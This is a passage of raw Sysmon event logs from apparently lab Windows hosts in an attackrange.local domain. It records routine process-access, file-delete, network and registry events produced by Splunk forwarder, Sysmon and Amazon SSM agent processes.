14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014286Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014285Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014284Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014283Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014282Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014281Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6FCC-613B-A804-00000000F101}3208C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014280Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6FCC-613B-A804-00000000F101}3208C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014279Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.346{625C326B-6FCC-613B-A804-00000000F101}3208C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:37.943{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D031A81AE1CD5E4CFC7D0A4EDB55F6D,SHA256=C854A2BE5E0F19D46DE2125CAF9797C5A8BEF9A7F7E13A80BF20BE6390F8F156,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014294Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:37.361{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=16AFAF93B1402B75F0895A697A643918,SHA256=FE9269A616EBCD5380D738485BACAD5DE72488B852955F56D0FC80F791032C67,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:38.990{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=43C168B4D24704623EFEAA5AE917C100,SHA256=F16B4C1C2F29111BE208C218F3DE4B6FD2442B2392EF01FE42DADAA936C76A47,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014296Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:38.408{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=154F03518557B11F0CE061A80214A3B1,SHA256=A21C7504A9F071E20AF7EFE52A67B2EA23EB13C055EA3F7B8925BC66EE79F2B7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014295Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.580{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50142-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014297Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:39.455{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71E3F96EA70387B1CFE85ACADA781683,SHA256=961DB4333C774E4450C04DB0DC28B5E93DD732EF5A7192BF4B1BC9032AB5DADF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014298Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:40.455{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FB448EFE3DC4C07E062BD8B9277F198,SHA256=19C6447F1E4B2609923F5D9DA5656D4F7C25B60CA54687B6D26384C4988FECA1,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:38.557{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59285-false10.0.1.12-8000- 23542300x800000000000000046106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:40.021{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B058B601B459E437617E4D75DBC673D,SHA256=ACFBECC67C0DEFFE50D3B3793C61F1FE258D8ABB104AC2AB07E3A5D8AA609364,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014299Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:41.502{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DA857229F8F1FEB44FEC19035F4B7AD4,SHA256=36C79CB0725A474462A27DB11959D1EAE19D408296259597E964ED80221F95E4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:41.099{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1E7A3174B6C8C0792CB4B40E0AD95202,SHA256=1653AABD2CFEB27296FE85B4BA0D390BD2623C5B84DFAA078094D43022400300,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014300Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:42.533{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B81DD9666685F00C76F7443CEFEA602,SHA256=436B529555C5AFC6145C2474F88F3EFEC96FEC928F39E7347C0B7C1577B5C2F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:42.131{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D8F24801290A3085AE2DFD07A80AB54C,SHA256=7CC0B0BFB0B76BFFC27FFDF0575D001F7B7573C6A4B3156E2BE259CE7CBF072C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014301Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:43.611{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44372783CEB2AE32EE599F88364978ED,SHA256=C83FCDC7E32C25DE4B40CE3E8EEE7E1513EA22D606015E39ACAD22CC0C52695A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:43.209{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3AD0A384336A997FC2F34FEABC6108DB,SHA256=030ABCA90A917A52C658146B1B1C3039A614B5DCFC7FCF8CD55B94AE1C7BD4A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014303Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:44.642{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46E3587AE4E86E5F6F8A8DC7EB06C3F1,SHA256=F790F14A4E8343D05DE4B5E3CFCC6DCB7A391E0916AA93FEB5F29D9CD890A634,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:44.428{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B0D6E8E689A91C896FD5D3964831687,SHA256=1A28208BDF9DB79C41C834B1C4DA5C501855D9548566AB75408C06FFED223856,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014302Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:42.408{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50143-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 12241200x800000000000000046111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-DeleteValue2021-09-10 14:46:44.396{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\BITS\Performance\PerfMMFileName 23542300x800000000000000014304Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:45.658{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=964206712904258322E4CB1BC4AB3CED,SHA256=135492479400E92FD27A5A8A21A72B4465C4E1D1619429F2173F8A42A5AE95B9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:45.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0498253BD02F0F5A8F5ADFFBD252BC7A,SHA256=E996001F41E77B2B1BF0FDE0A473CC3F688D16D63A61B3C1D4AC510A8C6D3AE5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:45.412{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=5F4F30ECC84873E22655E5EF38579BCD,SHA256=4F9DB8ABEF63508050AD4EF6EBAD93DE04BD95B9D3CF18F53BB52C5FA6AF23C9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:45.412{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=461F5C2B95A3C615D0EA20546E6248FE,SHA256=F8867609EACD0AF7734A0053D26061050193155A4E1EF6F82653CFB986166D8B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:46.490{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2CA11683DF40BA770AEFCC5623340AB1,SHA256=F8FDC73104946F4699C50B5B6B9FA21E6C296E15A364A637571BABE5A32AC9E2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014305Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:46.689{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3B0A229F371EC63D2489814515B2B78,SHA256=F13EFD6B22CC91A0B8C5924E5A46586C12E4DD46311C51F4CC1C912673F83394,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:47.537{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BD588C3CEEF44842CD8ED89B1DAF7F3,SHA256=19D82E408D179CF594E892561B5FF39696B42C93F62F96B9152E386715C28E02,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014306Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:47.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A23CAF5D2C385BC91EEA93F3585A8C9D,SHA256=C8AEC77C2B0F270838C8C355CF988012F3F1FE92C4C084E5FC13D75184ACC955,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:44.432{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59286-false10.0.1.12-8000- 23542300x800000000000000046119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:48.568{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D5E3161D0EFF7EEBD352CAC2368FDC9,SHA256=FD8C904F7A9EF38FAE706A7C037F145741265E06576F18C2FD3E9D347C574736,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014308Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:48.736{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0AC43EC895A8EC3F404AF18398643524,SHA256=0583671914E56BFCBEA53E38169FEBE93279687CE5458FB156426B18E5E55452,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014307Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:47.502{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50144-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014309Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:49.783{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A6F311FDE8B66C4FA87B021D55BBCA82,SHA256=A53BA0E60B1D68F326DC4E1ADF2F4CDF5FA61FC4D18EE820F82EE76D6EF623D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:49.571{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=620DBD7A8047EECBACB578714F3C50CB,SHA256=ADDDCFD3DB5B52B0C0C7F6334A5AF750BCFA9065A653FB89C728A4AEA05F5EA1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:49.511{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-041MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014310Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:50.795{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71BEA9098DE7BCEBFDC79708D516C6DD,SHA256=3D126F79D8483C56368F561085AD2D6F6BAF0BE63D13C83B6477D90524F5AD65,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:50.595{7BD73061-665D-613B-E700-00000000F001}2764NT 